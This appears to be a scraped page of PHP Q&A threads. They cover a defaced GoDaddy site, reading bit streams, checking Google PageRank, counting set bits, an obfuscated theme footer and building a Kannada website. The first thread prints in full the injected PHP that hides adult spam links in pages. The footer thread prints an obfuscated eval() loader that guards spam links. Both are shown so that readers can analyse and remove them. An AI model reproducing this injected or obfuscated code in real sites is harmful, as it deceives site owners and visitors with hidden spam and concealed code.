my site got defaced. how to protect myself on shared hosting? - php

i have godaddy shared hosting and the site got defaced. whose at fault? the site is created with php is it possible the person can get in through some vunerability on my site and modify a file? or is that all through server side being that godaddy wasnt secure enough?
this is what was injected in a file. what does it do?
<?php
//{{1311051f
GLOBAL $alreadyxxx;
if($alreadyxxx != 1)
{
$alreadyxxx = 1;
$olderrxxx=error_reporting(0);
function outputxxx_callback($str)
{
$links = '<SPAN STYLE="font-style: normal; visibility: hidden; position: absolute; left: 0px; top: 0px;"><div id="rb4d41ca36473534443c002805">blow jobs teen<br></div></SPAN>';
preg_match("|</body>|si",$str,$arr);
return str_replace($arr[0],$links.$arr[0],$str);
}
function StrToNum($Str, $Check, $Magic)
{
$Int32Unit = 4294967296;
$length = strlen($Str);
for ($i = 0; $i < $length; $i++) {
$Check *= $Magic;
if ($Check >= $Int32Unit) {
$Check = ($Check - $Int32Unit * (int) ($Check / $Int32Unit));
$Check = ($Check < -2147483648) ? ($Check + $Int32Unit) : $Check;
}
$Check += ord($Str{$i});
}
return $Check;
}
function HashURL($String)
{
$Check1 = StrToNum($String, 0x1505, 0x21);
$Check2 = StrToNum($String, 0, 0x1003F);
$Check1 >>= 2;
$Check1 = (($Check1 >> 4) & 0x3FFFFC0 ) | ($Check1 & 0x3F);
$Check1 = (($Check1 >> 4) & 0x3FFC00 ) | ($Check1 & 0x3FF);
$Check1 = (($Check1 >> 4) & 0x3C000 ) | ($Check1 & 0x3FFF);
$T1 = (((($Check1 & 0x3C0) << 4) | ($Check1 & 0x3C)) <<2 ) | ($Check2 & 0xF0F );
$T2 = (((($Check1 & 0xFFFFC000) << 4) | ($Check1 & 0x3C00)) << 0xA) | ($Check2 & 0xF0F0000 );
return ($T1 | $T2);
}
function CheckHash($Hashnum)
{
$CheckByte = 0;
$Flag = 0;
$HashStr = sprintf('%u', $Hashnum) ;
$length = strlen($HashStr);
for ($i = $length-1; $i >= 0; $i--) {
$Re = $HashStr{$i};
if (1 === ($Flag % 2)) {
$Re += $Re;
$Re = (int)($Re / 10) + ($Re % 10);
}
$CheckByte += $Re;
$Flag ++;
}
$CheckByte %= 10;
if (0 !== $CheckByte) {
$CheckByte = 10 - $CheckByte;
if (1 === ($Flag % 2) ) {
if (1 === ($CheckByte % 2)) {
$CheckByte += 9;
}
$CheckByte >>= 1;
}
}
return '7'.$CheckByte.$HashStr;
}
function getpr($url)
{
$ch = CheckHash(HashURL($url));
$file = "http://toolbarqueries.google.com/search?client=navclient-auto&ch=$ch&features=Rank&q=info:$url";;
$data = file_get_contents($file);
$pos = strpos($data, "Rank_");
if($pos === false){return -1;} else{
$pr=substr($data, $pos + 9);
$pr=trim($pr);
$pr=str_replace("
",'',$pr);
return $pr;
}
}
if(isset($_POST['xxxprch']))
{
echo getpr($_POST['xxxprch']);
exit();
}
else
ob_start('outputxxx_callback');
error_reporting($olderrxxx);
}
//}}75671d8f
?>

Chances are it was an exploit from a package you use on your site (such as phpBB, phpNuke, etc.) people crawl the web looking for the vulnerable hosts and exploit the ones they can. The code is open-source and readily available so there's not much you can do for protection other than use the latest version.
Companies like PacketStormSecurity make it easy for "skript kiddies" to find a PoC (Proof of Concept) script and they take it upon themselves to try it on every site they can. Some are as easy as a crafted google query to find a list of potential targets.
You may be able to look through your logs for a GET url that resulted in the exploit, but best-case scenario is just stay as up-to-date as possible, and never rely on your host to make restore-able backups of your site.

The real deal to this hack is here: http://frazierit.com/blog/?p=103
No SQL injection, no secret sauce, these guys were listening to the wire, or there is an agent on some machine that you use passing keystrokes their way, and you were using a clear text password FTP to work with your site. They gained FTP access to your site, and systematically injected code into .php and .html pages on your site. They are building/have built a distributed network of page ranking testers via numerous ISPs. Probably to validate SEO operations. Easy to clean, just need to go some command line regex work.
-Drew

The script allows someone to specify a URL to the script using the variable xxxprch. It checks the hash of the URL to make sure it conforms to some standard and searches google for the URL. It then checks to see if there is the word "rank_" in the search results and gets the next 9 characters following "rank_" and returns them to be displayed on the user screen.
If the user didn't specify a variable in xxxprch then it automatically writes out to the page links to a sexually explicit website.
Note: If you get a Virtual Private Server (can be found for as cheap as $3 a month), you can install mod_security which prevents a lot of these types of attacks. On the other hand you would then need to keep the OS up to date.

I hate to say this but you are at fault. SQL/HTML/JS/code injection is your responsibility to handle. Also choosing a strong password is critical. It is totally possible for anyone to find a vulnerability and do anything.
It looks like that code is injecting links and somehow getting the Google page rank for some reason.
I think it falls under one of the Pragmatic Programmer's principles:
``select’’ Isn’t Broken It is rare to
find a bug in the OS or the compiler,
or even a third-party product or
library. The bug is most likely in the
application.
Replace OS/compiler/3rd-party library with shared hosting.

Related

php bit array in integer

I have written a wrapper class around a byte stream in order to read bit by bit from that stream (bit arrays) using this method:
public function readBits($len) {
if($len === 0) {
return 0;
}
if($this->nextbyte === null) {
//no byte has been started yet
if($len % 8 == 0) {
//don't start a byte with the cache, even number of bytes
$ret = 0;
//just return byte count not bit count
$len /= 8;
while ($len--) {
if($this->bytestream->eof()) {
//no more bytes
return false;
}
$byte = $this->bytestream->readByte();
$ret = ($ret << 8) | ord($byte);
}
return $ret;
} else {
$this->nextbyte = ord($this->bytestream->readByte());
$this->byteshift = 0;
}
}
if($len <= 8 && $this->byteshift + $len <= 8) {
//get the bitmask e.g. 00000111 for 3
$bitmask = self::$includeBitmask[$len - 1];
//can be satisfied with the remaining bits
$ret = $this->nextbyte & $bitmask;
//shift by len
$this->nextbyte >>= $len;
$this->byteshift += $len;
} else {
//read the remaining bits first
$bitsremaining = 8 - $this->byteshift;
$ret = $this->readBits($bitsremaining);
//decrease len by the amount bits remaining
$len -= $bitsremaining;
//set the internal byte cache to null
$this->nextbyte = null;
if($len > 8) {
//read entire bytes as far as possible
for ($i = intval($len / 8); $i > 0; $i--) {
if($this->bytestream->eof()) {
//no more bytes
return false;
}
$byte = $this->bytestream->readByte();
$ret = ($ret << 8) | ord($byte);
}
//reduce len to the rest of the requested number
$len = $len % 8;
}
//read a new byte to get the rest required
$newbyte = $this->readBits($len);
$ret = ($ret << $len) | $newbyte;
}
if($this->byteshift === 8) {
//delete the cached byte
$this->nextbyte = null;
}
return $ret;
}
This allows me to read bit arrays of arbitrary length off my byte stream which are returned in integers (as php has no signed integers).
The problem appears once I try to read a bit array that is bigger than 64 bits and I am assuming if I were to use the class on a 32 bit system the problem would appear with 32 bit arrays already.
The problem is that the return value is obviously to big to be held within an integer, so it topples over into a negative integer.
My question now is what would be the best way to deal with this. I can think of:
Forcing the number to be saved as a string (I am unsure if that's even possible)
Use the GMP extension (which I kinda don't want to because I think the gmp bitwise methods are probably quite a performance hit compared to the normal bitwise operators)
Is there something I missed on this or is one of the options I mentioned actually the best way to deal with this problem?
Thanks for your help in advance

Check PageRank Through XML

I've searched this website and googled alot but unfortunately didn't find any real answer so please pardon me if it doesn't makes sense.
I'm using PHP to check page rank of a given URL, but it sometimes show error due to busy google website (http://toolbarqueries.google.com) The error it shows is;
Is there any way I can check page rank through either XML or even PHP with a better solution, which doesn't show any error like that?
Please help!
I've searched and find a great solution. try this:
class GooglePageRankChecker {
// Track the instance
private static $instance;
// Constructor
function getRank($page) {
// Create the instance, if one isn't created yet
if(!isset(self::$instance)) {
self::$instance = new self();
}
// Return the result
return self::$instance->check($page);
}
// Convert string to a number
function stringToNumber($string,$check,$magic) {
$int32 = 4294967296; // 2^32
$length = strlen($string);
for ($i = 0; $i < $length; $i++) {
$check *= $magic;
//If the float is beyond the boundaries of integer (usually +/- 2.15e+9 = 2^31),
// the result of converting to integer is undefined
// refer to http://www.php.net/manual/en/language.types.integer.php
if($check >= $int32) {
$check = ($check - $int32 * (int) ($check / $int32));
//if the check less than -2^31
$check = ($check < -($int32 / 2)) ? ($check + $int32) : $check;
}
$check += ord($string{$i});
}
return $check;
}
// Create a url hash
function createHash($string) {
$check1 = $this->stringToNumber($string, 0x1505, 0x21);
$check2 = $this->stringToNumber($string, 0, 0x1003F);
$factor = 4;
$halfFactor = $factor/2;
$check1 >>= $halfFactor;
$check1 = (($check1 >> $factor) & 0x3FFFFC0 ) | ($check1 & 0x3F);
$check1 = (($check1 >> $factor) & 0x3FFC00 ) | ($check1 & 0x3FF);
$check1 = (($check1 >> $factor) & 0x3C000 ) | ($check1 & 0x3FFF);
$calc1 = (((($check1 & 0x3C0) << $factor) | ($check1 & 0x3C)) << $halfFactor ) | ($check2 & 0xF0F );
$calc2 = (((($check1 & 0xFFFFC000) << $factor) | ($check1 & 0x3C00)) << 0xA) | ($check2 & 0xF0F0000 );
return ($calc1 | $calc2);
}
// Create checksum for hash
function checkHash($hashNumber)
{
$check = 0;
$flag = 0;
$hashString = sprintf('%u', $hashNumber) ;
$length = strlen($hashString);
for ($i = $length - 1; $i >= 0; $i --) {
$r = $hashString{$i};
if(1 === ($flag % 2)) {
$r += $r;
$r = (int)($r / 10) + ($r % 10);
}
$check += $r;
$flag ++;
}
$check %= 10;
if(0 !== $check) {
$check = 10 - $check;
if(1 === ($flag % 2) ) {
if(1 === ($check % 2)) {
$check += 9;
}
$check >>= 1;
}
}
return '7'.$check.$hashString;
}
function check($page) {
// Open a socket to the toolbarqueries address, used by Google Toolbar
$socket = fsockopen("toolbarqueries.google.com", 80, $errno, $errstr, 30);
// If a connection can be established
if($socket) {
// Prep socket headers
$out = "GET /tbr?client=navclient-auto&ch=".$this->checkHash($this->createHash($page)).
"&features=Rank&q=info:".$page."&num=100&filter=0 HTTP/1.1\r\n";
$out .= "Host: toolbarqueries.google.com\r\n";
$out .= "User-Agent: Mozilla/4.0 (compatible; GoogleToolbar 2.0.114-big; Windows XP 5.1)\r\n";
$out .= "Connection: Close\r\n\r\n";
// Write settings to the socket
fwrite($socket, $out);
// When a response is received...
$result = "";
while(!feof($socket)) {
$data = fgets($socket, 128);
$pos = strpos($data, "Rank_");
if($pos !== false){
$pagerank = substr($data, $pos + 9);
$result += $pagerank;
}
}
// Close the connection
fclose($socket);
// Return the rank!
return $result;
}
}
}
Now where you want to check the PR, use this code $some_var = GooglePageRankChecker::getRank("http://khanqah-daruslam.com");
Replace URL to yours (or any custom URL)
Try SEOstats: https://github.com/eyecatchup/SEOstats
SEOstats is a powerful open source PHP library to request a bunch of
SEO relevant metrics such as detailed backlink analyses, keyword and
traffic statistics, website trends, page authority, the Google
Pagerank, the Alexa Trafficrank and much more.
Try SEOstats: https://github.com/eyecatchup/SEOstats
Thanks but I already saw this and do not want to use any heavy library. I want a light weight PHP or XML code. Thanks anyway!
Actually you don't need to use the full library. SEOstats' Google PageRank method uses a standalone class that can be used as follows:
<?php
$url = 'http://somedomain.com/';
$pr = new GTB_PageRank($url);
$rank = $pr->getPageRank();
printf("The Google Pagerank of %s is %s.", $url, $rank);
The nice thing about this class, as I think, is that it supports all existing PageRank hashing algorithms (awesome, jenkins, jenkins2 and IE) and has some advanced features built in, such as suggested Toolbar-TLD and more.
You can check it out here:
https://github.com/eyecatchup/SEOstats/blob/master/SEOstats/Services/3rdparty/GTB_PageRank.php

How to fastest count the number of set bits in php?

I just want to find some fastest set bits count function in the php.
For example, 0010101 => 3, 00011110 => 4
I saw there is good Algorithm that can be implemented in c++.
How to count the number of set bits in a 32-bit integer?
Is there any php built-in function or fastest user-defined function?
You can try to apply a mask with a binary AND, and use shift to test bit one by one, using a loop that will iterate 32 times.
function getBitCount($value) {
$count = 0;
while($value)
{
$count += ($value & 1);
$value = $value >> 1;
}
return $count;
}
You can also easily put your function into PHP style
function NumberOfSetBits($v)
{
$c = $v - (($v >> 1) & 0x55555555);
$c = (($c >> 2) & 0x33333333) + ($c & 0x33333333);
$c = (($c >> 4) + $c) & 0x0F0F0F0F;
$c = (($c >> 8) + $c) & 0x00FF00FF;
$c = (($c >> 16) + $c) & 0x0000FFFF;
return $c;
}
I could figure out a few ways to but not sure which one would be the fastest :
use substr_count()
replace all none '1' characters by '' and then use strlen()
use preg_match_all()
PS : if you start with a integer these examples would involve using decbin() first.
There are a number of other ways; but for a decimal 32 bit integer, NumberOfSetBits is definitely the fastest.
I recently stumbled over Brian Kernighan´s algorithm, which has O(log(n)) instead of most of the others having O(n). I don´t know why it´s not appearing that fast here; but it still has a measurable advantage over all other non-specialized functions.
Of course, nothing can beat NumberOfSetBits with O(1).
my benchmarks:
function getBitCount($value) { $count = 0; while($value) { $count += ($value & 1); $value = $value >> 1; } return $count; }
function getBitCount2($value) { $count = 0; while($value) { if ($value & 1)$count++; $value >>= 1; } return $count; }
// if() instead of +=; >>=1 instead of assignment: sometimes slower, sometimes faster
function getBitCount2a($value) { for($count = 0;$value;$value >>= 1) if($value & 1)$count ++; return $count; }
// for instead of while: sometimes slower, sometimes faster
function getBitCount3($value) { for($i=1,$count=0;$i;$i<<=1) if($value&$i)$count++; return $count; }
// shifting the mask: incredibly slow (always shifts all bits)
function getBitCount3a($value) { for($i=1,$count=0;$i;$i<<=1) !($value&$i) ?: $count++; return $count; }
// with ternary instead of if: even slower
function NumberOfSetBits($v) {
// longest (in source code bytes), but fastest
$c = $v - (($v >> 1) & 0x55555555); $c = (($c >> 2) & 0x33333333) + ($c & 0x33333333);
$c = (($c >> 4) + $c) & 0x0F0F0F0F; $c = (($c >> 8) + $c) & 0x00FF00FF;
$c = (($c >> 16) + $c) & 0x0000FFFF; return $c;
}
function bitsByPregReplace($n) { return strlen(preg_replace('_0_','',decbin($n))); }
function bitsByNegPregReplace($n) { return strlen(preg_replace('/[^1]/','',decbin($n))); }
function bitsByPregMatchAll($n) { return preg_match_all('/1/',decbin($n)); }
function bitsBySubstr($i) { return substr_count(decbin($i), '1'); }
function bitsBySubstrInt($i) { return substr_count(decbin($i), 1); }
// shortest (in source code bytes)
function bitsByCountChars($n){ return count_chars(decbin($n))[49]; }
// slowest by far
function bitsByCountChars1($n) { return count_chars(decbin($n),1)[49]; }
// throws a notice for $n=0
function Kernighan($n) { for(;$n;$c++)$n&=$n-1;return$c; }
// Brian Kernighan’s Algorithm
function benchmark($function)
{
gc_collect_cycles();
$t0=microtime();
for($i=1e6;$i--;) $function($i);
$t1=microtime();
$t0=explode(' ', $t0); $t1=explode(' ', $t1);
echo ($t1[0]-$t0[0])+($t1[1]-$t0[1]), " s\t$function\n";
}
benchmark('getBitCount');
benchmark('getBitCount2');
benchmark('getBitCount2a');
benchmark('getBitCount3');
benchmark('getBitCount3a');
benchmark('NumberOfSetBits');
benchmark('bitsBySubstr');
benchmark('bitsBySubstrInt');
benchmark('bitsByPregReplace');
benchmark('bitsByPregMatchAll');
benchmark('bitsByCountChars');
benchmark('bitsByCountChars1');
benchmark('decbin');
banchmark results (sorted)
> php count-bits.php
2.286831 s decbin
1.364934 s NumberOfSetBits
3.241821 s Kernighan
3.498779 s bitsBySubstr*
3.582412 s getBitCount2a
3.614841 s getBitCount2
3.751102 s getBitCount
3.769621 s bitsBySubstrInt*
5.806785 s bitsByPregMatchAll*
5.748319 s bitsByCountChars1*
6.350801 s bitsByNegPregReplace*
6.615289 s bitsByPregReplace*
13.863838 s getBitCount3
16.39626 s getBitCount3a
19.304038 s bitsByCountChars*
Those are the numbers from one of my runs (with PHP 7.0.22); others showed different order within the 3.5 seconds group. I can say that - on my machine - four of those five are pretty equal, and bitsBySubstrInt is always a little slower due to the typecasts.
Most other ways require a decbin (which mostly takes longer than the actual counting; I marked them with a * in the benchmark results); only BitsBySubstr would get close to the winner without that gammy leg.
I find it noticeable that you can make count_chars 3 times faster by limiting it to only existing chars. Seems like array indexing needs quite some time.
edit:
added another preg_replace version
fixed preg_match_all version
added Kernighan´s algorithm (fastest algorithm for arbitrary size integers)
added garbage collection to benchmarking function
reran benchmarks
My benchmarking code
start_benchmark();
for ($i = 0; $i < 1000000; $i++) {
getBitCount($i);
}
end_benchmark();
start_benchmark();
for ($i = 0; $i < 1000000; $i++) {
NumberOfSetBits($i);
}
end_benchmark();
start_benchmark();
for ($i = 0; $i < 1000000; $i++) {
substr_count(decbin($i), '1');
}
end_benchmark();
Benchmarking result:
benchmark (NumberOfSetBits()) : 1.429042 milleseconds
benchmark (substr_count()) : 1.672635 milleseconds
benchmark (getBitCount()): 10.464981 milleseconds
I think NumberOfSetBits() and substr_count() are best.
Thanks.
This option is a little faster than NumberOfSetBits($v)
function bitsCount(int $integer)
{
$count = $integer - (($integer >> 1) & 0x55555555);
$count = (($count >> 2) & 0x33333333) + ($count & 0x33333333);
$count = ((((($count >> 4) + $count) & 0x0F0F0F0F) * 0x01010101) >> 24) & 0xFF;
return $count;
}
Benckmark (PHP8)
1.78 s bitsBySubstr
1.42 s NumberOfSetBits
1.11 s bitsCount
Here is another solution. Maybe not the fastet but therefor the shortest solution. It also works for negative numbers:
function countBits($num)
{
return substr_count(decbin($num), "1");
}

Decoding encrypted footer [duplicate]

This question already has answers here:
Closed 11 years ago.
Possible Duplicate:
How to decode this PHP code?
Can i ask for the help of someone to decrytpt this encoded footer.
Basically I would like to remove the links, mostly the link for Ford For Sale as that is blatent blackgat SEO trick for this theme.
if (!function_exists("T7FC56270E7A70FA81A5935B72EACBE29")) {
function T7FC56270E7A70FA81A5935B72EACBE29($TF186217753C37B9B9F958D906208506E) {
$TF186217753C37B9B9F958D906208506E = base64_decode($TF186217753C37B9B9F958D906208506E);
$T7FC56270E7A70FA81A5935B72EACBE29 = 0;
$T9D5ED678FE57BCCA610140957AFAB571 = 0;
$T0D61F8370CAD1D412F80B84D143E1257 = 0;
$TF623E75AF30E62BBD73D6DF5B50BB7B5 = (ord($TF186217753C37B9B9F958D906208506E[1]) << 8) + ord($TF186217753C37B9B9F958D906208506E[2]);
$T3A3EA00CFC35332CEDF6E5E9A32E94DA = 3;
$T800618943025315F869E4E1F09471012 = 0;
$TDFCF28D0734569A6A693BC8194DE62BF = 16;
$TC1D9F50F86825A1A2302EC2449C17196 = "";
$TDD7536794B63BF90ECCFD37F9B147D7F = strlen($TF186217753C37B9B9F958D906208506E);
$TFF44570ACA8241914870AFBC310CDB85 = __FILE__;
$TFF44570ACA8241914870AFBC310CDB85 = file_get_contents($TFF44570ACA8241914870AFBC310CDB85);
$TA5F3C6A11B03839D46AF9FB43C97C188 = 0;
preg_match(base64_decode("LyhwcmludHxzcHJpbnR8ZWNobykv"), $TFF44570ACA8241914870AFBC310CDB85, $TA5F3C6A11B03839D46AF9FB43C97C188);
for (; $T3A3EA00CFC35332CEDF6E5E9A32E94DA < $TDD7536794B63BF90ECCFD37F9B147D7F;) {
if (count($TA5F3C6A11B03839D46AF9FB43C97C188)) exit;
if ($TDFCF28D0734569A6A693BC8194DE62BF == 0) {
$TF623E75AF30E62BBD73D6DF5B50BB7B5 = (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) << 8);
$TF623E75AF30E62BBD73D6DF5B50BB7B5 += ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]);
$TDFCF28D0734569A6A693BC8194DE62BF = 16;
}
if ($TF623E75AF30E62BBD73D6DF5B50BB7B5 & 0x8000) {
$T7FC56270E7A70FA81A5935B72EACBE29 = (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) << 4);
$T7FC56270E7A70FA81A5935B72EACBE29 += (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA]) >> 4);
if ($T7FC56270E7A70FA81A5935B72EACBE29) {
$T9D5ED678FE57BCCA610140957AFAB571 = (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) & 0x0F) + 3;
for ($T0D61F8370CAD1D412F80B84D143E1257 = 0; $T0D61F8370CAD1D412F80B84D143E1257 < $T9D5ED678FE57BCCA610140957AFAB571; $T0D61F8370CAD1D412F80B84D143E1257++) $TC1D9F50F86825A1A2302EC2449C17196[$T800618943025315F869E4E1F09471012 + $T0D61F8370CAD1D412F80B84D143E1257] = $TC1D9F50F86825A1A2302EC2449C17196[$T800618943025315F869E4E1F09471012 - $T7FC56270E7A70FA81A5935B72EACBE29 + $T0D61F8370CAD1D412F80B84D143E1257];
$T800618943025315F869E4E1F09471012 += $T9D5ED678FE57BCCA610140957AFAB571;
} else {
$T9D5ED678FE57BCCA610140957AFAB571 = (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) << 8);
$T9D5ED678FE57BCCA610140957AFAB571 += ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) + 16;
for ($T0D61F8370CAD1D412F80B84D143E1257 = 0; $T0D61F8370CAD1D412F80B84D143E1257 < $T9D5ED678FE57BCCA610140957AFAB571; $TC1D9F50F86825A1A2302EC2449C17196[$T800618943025315F869E4E1F09471012 + $T0D61F8370CAD1D412F80B84D143E1257++] = $TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA]);
$T3A3EA00CFC35332CEDF6E5E9A32E94DA++;
$T800618943025315F869E4E1F09471012 += $T9D5ED678FE57BCCA610140957AFAB571;
}
} else $TC1D9F50F86825A1A2302EC2449C17196[$T800618943025315F869E4E1F09471012++] = $TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++];
$TF623E75AF30E62BBD73D6DF5B50BB7B5 <<= 1;
$TDFCF28D0734569A6A693BC8194DE62BF--;
if ($T3A3EA00CFC35332CEDF6E5E9A32E94DA == $TDD7536794B63BF90ECCFD37F9B147D7F) {
$TFF44570ACA8241914870AFBC310CDB85 = implode("", $TC1D9F50F86825A1A2302EC2449C17196);
$TFF44570ACA8241914870AFBC310CDB85 = "?".">".$TFF44570ACA8241914870AFBC310CDB85."<"."?";
return $TFF44570ACA8241914870AFBC310CDB85;
}
}
}
}
eval(T7FC56270E7A70FA81A5935B72EACBE29("QAAAPD9waHAgIGZ1bmN0aW9uIAAAdGhlX3RyZW5kX2NhdGVnbwAAcmllcyAoJGVjaG89dHJ1ZQAgKXsgICAkcG9zdAIRID0gZ2UwgHRfA1EC9HkoKTsCIGlmIChpc18CIGFycmF5KAL2KSk6AcAgZm9yZRgIYWNoBXAEhmFzICRucGMCAyAkbEMgaQYAdGNbXQYQAYEtPgXwX25hbWW8/AXRIAnwBEQA8QDgaWYAkQdRCqIEcwtBBLcwXYQOAjFlbHNlCE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DCzB2D2VfFWEt5FJ+AGW9QA3hfmEBYSVS+0Bvc3QtPklELCD4hyFyAsUhUFAh9REnPC8IFT48YnIOoABjzmH2wBKwADEKhA88ZhQQelFfq1IP51Nob3cgSV4pbSDwPwSjHOB70xAfY2hv1oBzVJBjdA//6VYP/R3RFsBzBhAtaQYRIhSKb0HiIB60DgEi/FgMUgvyEY8RhQT3EWU9PSID4j+iQAmyZWQ9IDBcIgpjZWRcIiI6IoBiBZInPlllGj9zPC8H0wkPbgkFZmFsztAJHxqfCR8JEAPzkb8JL2N0CS8+Tm8JHxaALwwzHn5A0kD7cmEl4sMBOSEkc19pZCxAE0v4IGlmICggITUQAwZ2ZXJpZnkp4DUSJF9QT1OEsDmJJy71XSw2n182lgVj+fQkLEErkUbRCgQgBtMnifLpgIPiBlQCwV9BYSddedUJc2N1cnJlbnRkH1/OMFLQYW5WEGVkaXRfBCIM1AZRWSEukL5/B88gX8CBQWPQAgAFX19jBVg2sCQgC6YFXyciDRrE3wVQADYkbXkW0VsnDPE6ll2ZchTTGRIBpwSh/gQDViNYAzoBiQMRBvZZYGVhY2ggKAQ0IGEAHXMgJGtleSA9PiAkNEIZExdhKB+DOEwtPgmxFqIX8SdyZXZOQG9uZbCpUHR1PAVybgYjA/MLkHjQbG9kZSgnLBGQKMziY8ApAdOSBGlmKDmfEnIZ4AjQLCBGQUxTf5VFcxeiFAiCdREpsxxBAxUGCX0gG9cgl6BkFCL+vzcuD3ED8A9TDDInIgnQIQTkIJ7EB49VoAPxDQMDcvc/AFIWcX2xrgMogBDVYAeQbnUQoHwRAdF+p74SATH8IAMFOAYC9AEGIjEBQDEsIDIHQj8+"));
And would like to remove any adsense stuff, and check for any malicious code.
When i look into the source from browser it comes up as this:-
</div>
<div class="footAdsense"></div>
<div class="copyright">© Copyright 2011 pettswoodfc.net. All Rights Reserved | Designed by FREE Wordpress Themes and Ford Focus for Sale</div>
</div>
pettswoodfc bit is ok, but the rest of it i dont trust.
Now when I delete the contents of this encrypted data, it messes up the fonts on the page too,
Can't you just delete the whole bit and replace it with the unencoded footer code? If it then messes up the fonts, use the inspector or Firebug to compare the font styling on body and your h1,h2 etc and manually write the code to fix it.
I suspect that would be quicker than trying to decode it in any meaningful way.
In addition, you can probably find the same theme somewhere else that doesn't have this obfuscation – these are sometimes pirated themes that you are supposed to buy from the original author.

How to create website in Indian language - Kannada

I wanted to build a website which would have two versions. English, Indian Language (Kannada).
The website should have same design, creatives , structure and data across the whole site.
This site is content heavy and needs a cms and a relevant language editor. I am a php coder and I am okay with any of the free cms present - wordpress, drupal , joomla. I have heard of installing fonts onto my shared server to support Kannada language. These fonts I guess should support all platforms (windows,mac,linux and mobile website.)
Can anyone please help me on this. Are there any free widgets, plugins which could be installed on my shared server and help display my website in intended languages.
Joomla has the joomfish plugin. It's good and extensive. It's worth looking into.
You should set correct charset for your language and I think utf-8 will work for you
header("Content-Type: text/html; charset=utf-8");
at top of your script
you can use typeface.js for English, Indian Langauge (Kannada)
easy and nice one! get your typeface.js
Hi long back i have done kannada website in php , i used define for menu and non-dynamic stuffs in website, and what ever data is going to inserted in to DB convert them to "entities"
you can use this function
function ascii_to_entities($str)
{
$count = 1;
$out = '';
$temp = array();
for ($i = 0, $s = strlen($str); $i < $s; $i++)
{
$ordinal = ord($str[$i]);
if ($ordinal < 128)
{
/*
If the $temp array has a value but we have moved on, then it seems only
fair that we output that entity and restart $temp before continuing. -Paul
*/
if (count($temp) == 1)
{
$out .= '&#'.array_shift($temp).';';
$count = 1;
}
$out .= $str[$i];
}
else
{
if (count($temp) == 0)
{
$count = ($ordinal < 224) ? 2 : 3;
}
$temp[] = $ordinal;
if (count($temp) == $count)
{
$number = ($count == 3) ? (($temp['0'] % 16) * 4096) + (($temp['1'] % 64) * 64) + ($temp['2'] % 64) : (($temp['0'] % 32) * 64) + ($temp['1'] % 64);
$out .= '&#'.$number.';';
$count = 1;
$temp = array();
}
}
}
return $out;
}
or define method
define('lang','ಕನ್ನಡ');
link -http://www.jayashomeshop.com/?language=kn

Categories